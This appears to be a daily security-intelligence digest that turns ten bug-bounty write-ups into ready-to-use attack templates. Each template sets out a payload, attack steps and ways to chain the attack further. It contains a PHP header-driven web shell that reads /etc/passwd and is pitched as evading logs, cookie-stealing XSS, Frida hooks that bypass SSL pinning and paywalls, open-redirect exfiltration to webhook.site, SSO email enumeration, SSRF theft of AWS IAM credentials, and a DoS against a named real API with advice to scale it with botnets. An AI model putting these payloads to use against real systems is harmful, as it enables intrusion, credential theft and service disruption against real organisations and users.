ETX Signal-X

Daily Intelligence Digest

Tuesday, February 24, 2026

10
ARTICLES

20
TECHNIQUES

Article 1

The $300 Bug: How a Long Email Field Triggered a Partial DoS on Sorare's Backend

Source: securitycipher

Date: 04-Jul-2025

URL: https://medium.com/mr-plan-publication/the-300-bug-how-a-long-email-field-triggered-a-partial-dos-on-sorares-backend-e1455f11ac3f

T1 Partial DoS via Long Email Input on Sorare API

💉 Payload

```
GET /api/v1/users/aaaa...[repeat 5000x]...@g.c
```

⚔️ Attack Chain

1. Craft an email address with thousands of characters (e.g., 5000+), ensuring it passes basic format validation but exceeds normal length.
2. Send a GET request to the endpoint: `https://api.sorare.com/api/v1/users/[email]` with the long email as the `[email]` parameter.
3. Observe the backend response time (~20 seconds) and eventual 503 Service Unavailable error.
4. Note that the connection remains keep-alive, further taxing backend resources.
5. Repeat or automate requests to amplify resource exhaustion and trigger partial DoS.

🔍 Discovery

Researcher noticed lack of input length validation on public API endpoints, specifically on email parameters, and tested by sending increasingly long email values. The absence of a maxLength check and slow server response indicated a potential DoS vector.

🔓 Bypass

The endpoint checks for email format but does not enforce length restrictions. By crafting emails that are valid in format but extremely long, the input bypasses validation and triggers backend resource exhaustion.

🔗 Chain With

Combine with botnets or distributed scripts to scale up the attack and cause wider service disruption. Exploit keep-alive connections to lock server threads and amplify impact. Target other endpoints lacking input length validation for similar DoS vectors.

Article 2

How I was able to Sign Up at one of the Company Panels ? P3 $$$

Source: securitycipher

Date: 05-Jan-2025

URL: https://19whoami19.medium.com/how-i-was-able-to-sign-up-at-one-of-the-company-panels-p3-c824d76e36e9

T1 Unauthenticated Signup via Misconfigured JIRA ServiceDesk

💉 Payload

```
https://atlassian.example.com/jira/servicedesk/customer/user/signup
```

⚔️ Attack Chain

1. Recon the company's technology stack and identify JIRA ServiceDesk in use.
2. Fuzz the main subdomain (https://atlassian.example.com/) for accessible directories and endpoints.
3. Locate the login endpoint: `/jira/servicedesk/customer/user/login` (does not redirect to SSO).
4. Replace `login` with `signup` in the endpoint path to access: `/jira/servicedesk/customer/user/signup`.
5. Use the signup form to create a new account with any personal email address.
6. Gain access to the JIRA ServiceDesk portal as a trusted user.

🔍 Discovery

Manual recon and endpoint fuzzing; researcher identified that the login endpoint did not enforce SSO and hypothesized that a signup endpoint might exist. Replacing `login` with `signup` revealed the misconfigured registration page.

🔓 Bypass

The login endpoint typically redirects to Microsoft SSO, but the `/signup` endpoint bypasses SSO and allows unauthenticated account creation.

🔗 Chain With

Use newly created account to access internal support tickets, knowledge base, or escalate privileges via further internal bugs. Potential lateral movement if internal information or additional misconfigurations are exposed in the portal.

Article 3

From Blind XSS to RCE: When Headers Became My Terminal

Source: securitycipher

Date: 13-Jul-2025

URL: https://is4curity.medium.com/from-blind-xss-to-rce-when-headers-became-my-terminal-d137d2c808a3

T1 Blind XSS Injection via Profile Fields

💉 Payload

```
mahmoud'"><script>alert(document.cookie)</script>
```

⚔️ Attack Chain

1. Inject XSS payload into profile fields (e.g., username, bio) on https://reacted.com.
2. Payload does not trigger in user-facing areas.
3. Modify payload to use XSSHunter for out-of-band detection:
4. Send a message to admin via contact form, referencing account details to entice admin to review user settings.
5. Admin visits user settings in admin panel, triggering payload.
6. XSSHunter collects admin cookies, enabling session hijack and access to admin panel.

🔍 Discovery

Initial XSS payload failed in user context; researcher hypothesized admin panel exposure and used XSSHunter for blind detection.

🔓 Bypass

Used social engineering (contact form) to prompt admin to visit vulnerable endpoint.

🔗 Chain With

Session hijack enables privilege escalation and lateral movement within admin panel.

T2 Remote Code Execution via PHP File Upload and HTTP Header Injection

💉 Payload

```
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
```

⚔️ Attack Chain

1. Upload PHP file containing payload to admin file upload endpoint.
2. Access uploaded file directly (e.g., /admin/uploadfile/testing.php).
3. Send HTTP request with custom header:
4. PHP code executes command from header, resulting in RCE (e.g., file contents returned).

🔍 Discovery

Initial attempts to upload webshell with GET parameter failed (500 error). Researcher pivoted to header-based injection after reviewing PHP superglobals.

🔓 Bypass

Execution via HTTP header avoids detection in traditional logs, increasing stealth.

🔗 Chain With

Stealthy RCE enables persistent access, privilege escalation, and further exploitation (e.g., lateral movement, data exfiltration).

T3 Stealth RCE via HTTP Header (Log Evasion)

💉 Payload

```
Accept-Language: cat /etc/passwd
```

⚔️ Attack Chain

1. Upload PHP file with header-based system call.
2. Send crafted HTTP header to execute arbitrary OS commands.
3. Exploit remains undetected in traditional server logs (since command is in header, not URL or POST body).

🔍 Discovery

Realization that header-based input is not typically logged, leading to stealth exploitation.

🔓 Bypass

Technique intentionally avoids detection by log monitoring tools.

🔗 Chain With

Can be combined with other log-evasion techniques for persistent, undetectable access.

Article 4

Hacking Flutter apps: Static, dynamic and beyond

Source: securitycipher

Date: 12-Aug-2025

URL: https://manasharsh.medium.com/hacking-flutter-apps-static-dynamic-and-beyond-893c7a733353

T1 Extraction of Secrets and API Endpoints from Flutter Binaries

💉 Payload

```
strings lib/arm64-v8a/libapp.so | grep -i key
strings lib/arm64-v8a/libapp.so | grep -i api
grep -r "key" assets/flutter_assets
grep -r "api" assets/flutter_assets
```

⚔️ Attack Chain

1. Obtain APK (via adb pull, APKPure, or Raccoon).
2. Unpack APK with apktool.
3. Run `strings` and `grep` commands against `libapp.so` and `assets/flutter_assets` to extract secrets, API keys, endpoints, and debug toggles.
4. Use discovered keys/endpoints for further API abuse or environment pivoting.

🔍 Discovery

Static analysis of native binaries and asset folders for hardcoded secrets and endpoints.

🔓 Bypass

Developers often assume Dart code is hard to reverse, but secrets are exposed via native binaries and asset files.

🔗 Chain With

Use extracted staging endpoints or keys to pivot to lower-security environments, abuse APIs, or chain with logic flaws.

T2 Exported Android Components Abuse (Intent Injection)

💉 Payload

```
<activity android:name="com.test.activities.SettingsActivity"
 android:exported="true">
 <intent-filter>
 <action android:name="com.test.OPEN_SETTINGS"/>
 </intent-filter>
</activity>
```

⚔️ Attack Chain

1. Analyze AndroidManifest.xml for exported activities or receivers.
2. Identify exported components with custom actions.
3. Craft and send intent from another app or adb:
4. Trigger privileged functionality without authentication.

🔍 Discovery

Manifest review for exported components and intent-filters.

🔓 Bypass

No auth checks on exported activity allow cross-app invocation.

🔗 Chain With

Combine with API endpoint extraction for deeper internal access or privilege escalation.

T3 SSL Pinning Bypass via Native Hooking in libapp.so

💉 Payload

```
var ssl_verify = Module.findExportByName("libapp.so", "SSL_CTX_set_custom_verify");
if (ssl_verify) {
 Interceptor.attach(ssl_verify, {
 onEnter: function(args) {
 console.log("SSL pinning bypassed");
 }
 });
}
```

⚔️ Attack Chain

1. Push frida-server to device and start it.
2. Attach Frida to Flutter app process.
3. Hook native SSL verification function in libapp.so.
4. Proxy device traffic through Burp Suite or mitmproxy.
5. Intercept and modify all API calls despite SSL pinning.

🔍 Discovery

Dynamic analysis with Frida; identifying native TLS hooks instead of Java X509TrustManager.

🔓 Bypass

Flutter uses native TLS, so Java hooks fail; hooking libapp.so enables bypass.

🔗 Chain With

Intercept sensitive API calls, manipulate requests/responses, chain with IDOR or privilege escalation.

T4 Paywall/Logic Bypass via Native Function Hooking

💉 Payload

```
Java.perform(function() {
 var RootCheck = Java.use("com.example.RootCheck");
 RootCheck.isDeviceRooted.implementation = function() {
 console.log("Root bypassed");
 return false;
 };
});
// For paywall bypass:
Hook native checkSubscription function to always return true
```

⚔️ Attack Chain

1. Attach Frida or Objection to app.
2. Identify logic functions (e.g., subscription checks, root detection).
3. Override function return values (e.g., always return true for subscription status).
4. Access premium features or bypass restrictions.

🔍 Discovery

Dynamic analysis; function name recovery via RevFlutter/Darx or Ghidra/radare2.

🔓 Bypass

Hooking native Dart logic directly, bypassing UI and Java wrappers.

🔗 Chain With

Combine with API abuse or privilege escalation for full access.

T5 Sensitive Data Extraction from SharedPreferences and Local Storage

💉 Payload

```
/data/data/com.example/shared_prefs/user.xml
<string name="refresh_token">eyJhbGciOiJIUzI1NiIsInR5cCI6...</string>
```

⚔️ Attack Chain

1. On rooted device, access /data/data/<package>/shared_prefs/ and /databases/.
2. Extract plaintext tokens, credentials, PII from XML files.
3. Use tokens in Postman or API clients to access backend services.

🔍 Discovery

Manual inspection of app storage for plaintext secrets.

🔓 Bypass

Developers assume Dart/Flutter storage is secure; SharedPreferences is plaintext XML.

🔗 Chain With

Use extracted tokens for account takeover, privilege escalation, or chaining with API endpoint abuse.

T6 GraphQL Schema Exposure via Asset Files

💉 Payload

```
grep -r "schema" assets/flutter_assets
```

⚔️ Attack Chain

1. Search assets/flutter_assets for GraphQL schema files.
2. Extract schema and identify hidden fields/queries.
3. Craft GraphQL queries to access sensitive data not exposed in UI.

🔍 Discovery

Static analysis of asset files for schema leaks.

🔓 Bypass

Developers ship full schema in assets, exposing internal structure.

🔗 Chain With

Chain with API endpoint extraction and logic flaws for deep data access.

T7 WebView JavaScript Injection in Flutter Apps

💉 Payload

```
WebView with javascriptEnabled loading local files or untrusted URLs
```

⚔️ Attack Chain

1. Identify WebView usage in Flutter app (via static analysis or runtime inspection).
2. Confirm javascriptEnabled is true.
3. Supply malicious JavaScript via loaded URL or local file.
4. Execute XSS or steal local storage tokens.

🔍 Discovery

Review app code/assets for WebView configuration and loaded sources.

🔓 Bypass

Flutter UI is native, but WebView exposes classic web attack surface.

🔗 Chain With

Steal tokens for API abuse, escalate to full account compromise.

T8 Debug Logging and Logcat Leaks

💉 Payload

```
Verbose logs in logcat showing API keys and full JSON responses
```

⚔️ Attack Chain

1. Run app on device/emulator.
2. Monitor logcat for debug logs.
3. Extract API keys, tokens, or sensitive responses from logs.

🔍 Discovery

Dynamic analysis; monitoring logcat during app usage.

🔓 Bypass

Developers leave verbose logging enabled in production builds.

🔗 Chain With

Use leaked keys/tokens for API abuse, privilege escalation, or chaining with other extracted secrets.

Article 5

I Hacked Microsoft: Remote Code Execution (RCE) via Dependency Confusion

Source: securitycipher

Date: 20-Dec-2025

URL: https://blog.leetsec.in/i-hacked-microsoft-remote-code-execution-rce-via-dependency-confusion-0c15ebee52df

⚠️ No actionable techniques found

Article 6

2FA Bypass: A Case of Insecure Implementation

Source: securitycipher

Date: 17-Apr-2025

URL: https://ehteshamulhaq198.medium.com/2fa-bypass-a-case-of-insecure-implementation-8b9e44f3d68c

⚠️ No actionable techniques found

Article 7

Discovered a Unique Email Verification Bypass

Source: securitycipher

Date: 30-Oct-2024

URL: https://mo9khu93r.medium.com/discovered-a-unique-email-verification-bypass-47bb1e955a13

T1 Email Verification Bypass via Cookie and CSRF Token Substitution

💉 Payload

```
Replace cookie and CSRF token in a request to change account details (e.g., name update or user invite) with those captured from an unverified account.
Sample intercepted request:
GET /_next/data/nAtO8SI6Rt7CL057kmy06/verify-email.json HTTP/2
Cookie: [unverified_account_cookie]
CSRF-Token: [unverified_account_csrf_token]
```

⚔️ Attack Chain

1. Register an account on https://www.example.com/get-started, but do not verify the email.
2. Log in with the unverified account at https://client.example.com/login.
3. Intercept the traffic and capture the cookie and CSRF token from the unverified account via requests like:
4. Create a second account, verify its email, and log in.
5. Intercept a request to change account details (e.g., name update or invite users) while logged into the verified account.
6. Replace the cookie and CSRF token in this request with those from the unverified account using Burp Suite's Repeater.
7. Replay the modified request and confirm that changes are successfully made on the unverified account.

🔍 Discovery

Observed that requests for account modification could be replayed with tokens from an unverified account, and the API response contained "editEnabled": true for all accounts regardless of verification status.

🔓 Bypass

The backend failed to enforce email verification checks for account modification actions. The "editEnabled" parameter was set to true for unverified accounts, allowing unauthorized changes.

🔗 Chain With

Can be chained with account creation automation to mass-register and control unverified accounts, potentially escalating to privilege abuse or platform spam.

Article 8

How a Simple Open Redirect Can Become a Phishing Vector in Web3

Source: securitycipher

Date: 29-Aug-2025

URL: https://efesn0.medium.com/how-a-simple-open-redirect-can-become-a-phishing-vector-in-web3-8dda423ef161

T1 OAuth Open Redirect with Sensitive Parameter Leakage

💉 Payload

```
https://settings.example.com/?stake=true&grantee=addr123&redirect_uri=https%3A%2F%2Fgoogle.com%2F%2F//s 3 2 2
```

⚔️ Attack Chain

1. Identify OAuth authorization endpoint accepting a `redirect_uri` parameter.
2. Craft a request with `redirect_uri` set to an attacker-controlled external domain.
3. Include a valid `grantee` (wallet address) parameter.
4. User completes OAuth flow as normal.
5. After authorization, the server redirects to the attacker domain, appending sensitive query parameters (e.g., `granter=addr123`).
6. Attacker receives the wallet address and other parameters via their server.

🔍 Discovery

Manual bug hunting on a web3 platform's OAuth staking flow. Noticed lack of validation on `redirect_uri` parameter and observed sensitive parameters appended to the redirect.

🔓 Bypass

No validation or whitelisting on the `redirect_uri` parameter allowed arbitrary external domains.

🔗 Chain With

1. Combine with phishing: Host a wallet or staking phishing page at the attacker domain to trick users into signing malicious transactions. 2. Use webhook URLs to automate sensitive data collection.

T2 Automated Sensitive Data Exfiltration via Webhook Redirect

💉 Payload

```
https://settings.example.com/?stake=true&grantee=<victim-address>&redirect_uri=https%3A%2F%2Fwebhook.site%2F/<id> true id
```

⚔️ Attack Chain

1. Set up a webhook.site endpoint to capture incoming requests.
2. Craft a staking authorization request with `redirect_uri` pointing to the webhook URL.
3. Send the link to a victim or trigger the flow.
4. Victim completes authorization; server redirects to webhook.site with sensitive query parameters (e.g., `granter=<victim-wallet-address>`).
5. Attacker collects wallet addresses and other parameters from webhook logs.

🔍 Discovery

Tested redirect behavior by replacing `redirect_uri` with a webhook URL and confirmed sensitive data was sent to external endpoints.

🔓 Bypass

No domain validation on `redirect_uri` enables exfiltration to any external service, including automated loggers.

🔗 Chain With

1. Use webhook logs to collect and analyze large volumes of wallet addresses for further attacks (phishing, transaction manipulation). 2. Combine with social engineering/phishing to automate credential harvesting.

Article 9

Jira Misconfiguration Leading to Unauthorized Access

Source: securitycipher

Date: 10-Feb-2025

URL: https://metanetwebhostingsecurity.medium.com/jira-misconfiguration-leading-to-unauthorized-access-69d32ab5a5c7

T1 Jira SSO Misconfiguration via "ssoTest" Parameter

💉 Payload

```
{"ssoTest":true, "email":"<target_email>@Company.com"}
```

⚔️ Attack Chain

1. Identify Jira instance (e.g., https://company.atlassian.net) with Google SSO enabled.
2. Capture login request using Burp Suite; locate the body parameter "ssoTest":false.
3. Modify the request body to set "ssoTest":true and supply a target email (e.g., employee email).
4. Send the modified request; filter for 200 OK responses to enumerate valid emails (invalid emails return 400 error).
5. Use discovered valid emails to attempt Google SSO login.
6. If the email was previously used for Google SSO, gain full Jira access as that employee, potentially with administrator privileges.

🔍 Discovery

Manual inspection of login flow for third-party SSO providers; observed unusual "ssoTest" parameter in request body during Burp Suite interception. Experimented with parameter manipulation and response analysis to enumerate valid accounts.

🔓 Bypass

No rate limiting was configured, allowing brute-force enumeration of valid emails. The "ssoTest" parameter was accessible in production, enabling direct testing of email validity and SSO status.

🔗 Chain With

1. Combine with username wordlists and email enumeration to target privileged accounts. 2. Use access to assign, edit, or delete projects, escalate privileges, or pivot to other integrated Atlassian services.

T2 Brute-force Email Enumeration via SSO Provider

💉 Payload

```
{"ssoTest":true, "email":"<username>@Company.com"}
```

⚔️ Attack Chain

1. Generate a username wordlist (e.g., common employee names, roles).
2. Append domain to create potential emails (e.g., <username>@Company.com).
3. Send requests with "ssoTest":true and each email to the Jira SSO endpoint.
4. Analyze responses: 200 OK indicates valid email, 400 error indicates invalid.
5. Compile list of valid employee emails for further exploitation (e.g., targeted SSO login, phishing, privilege escalation).

🔍 Discovery

Observed lack of rate limiting and response differentiation during SSO login attempts. Used brute-force automation to enumerate valid emails based on HTTP response codes.

🔓 Bypass

Absence of rate limiting and generic error messaging enabled high-volume enumeration without detection or blocking.

🔗 Chain With

1. Use valid emails for credential stuffing, phishing, or targeted SSO login attempts. 2. Combine with other Jira vulnerabilities (e.g., password reset flaws, privilege escalation) for deeper access.

Article 10

Untitled

Source:

Date:

URL:

T1 Blind SSRF to EC2 Metadata Extraction

💉 Payload

```
POST /api/debug/ping
{
 "url": "http://169.254.169.254/latest/meta-data/"
}
```

⚔️ Attack Chain

1. Identify an endpoint that accepts user-supplied URLs (e.g., POST /api/debug/ping).
2. Submit a payload targeting the EC2 metadata service: `http://169.254.169.254/latest/meta-data/`.
3. Receive metadata information from the EC2 instance, confirming SSRF.

🔍 Discovery

Recon and endpoint fuzzing revealed a debug utility accepting arbitrary URLs. Fuzzing with internal AWS IP triggered metadata leakage.

🔓 Bypass

No explicit bypass logic described, but the use of a debug endpoint (often overlooked) enabled SSRF.

🔗 Chain With

Leads directly to AWS credential extraction (see next technique).

T2 SSRF Credential Harvesting via IAM Role Enumeration

💉 Payload

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-prod-role
```

⚔️ Attack Chain

1. Use SSRF to query the IAM role attached to the EC2 instance: `/latest/meta-data/iam/security-credentials/`.
2. Enumerate the role name (e.g., `webapp-prod-role`).
3. Query the role-specific endpoint to retrieve temporary AWS credentials (Access Key, Secret Key, Session Token).

🔍 Discovery

After confirming SSRF, the researcher targeted AWS metadata endpoints known to expose IAM credentials.

🔓 Bypass

No explicit bypass described; relies on SSRF and lack of network egress restrictions.

🔗 Chain With

AWS credentials can be used for S3 access, privilege escalation, and further infrastructure compromise.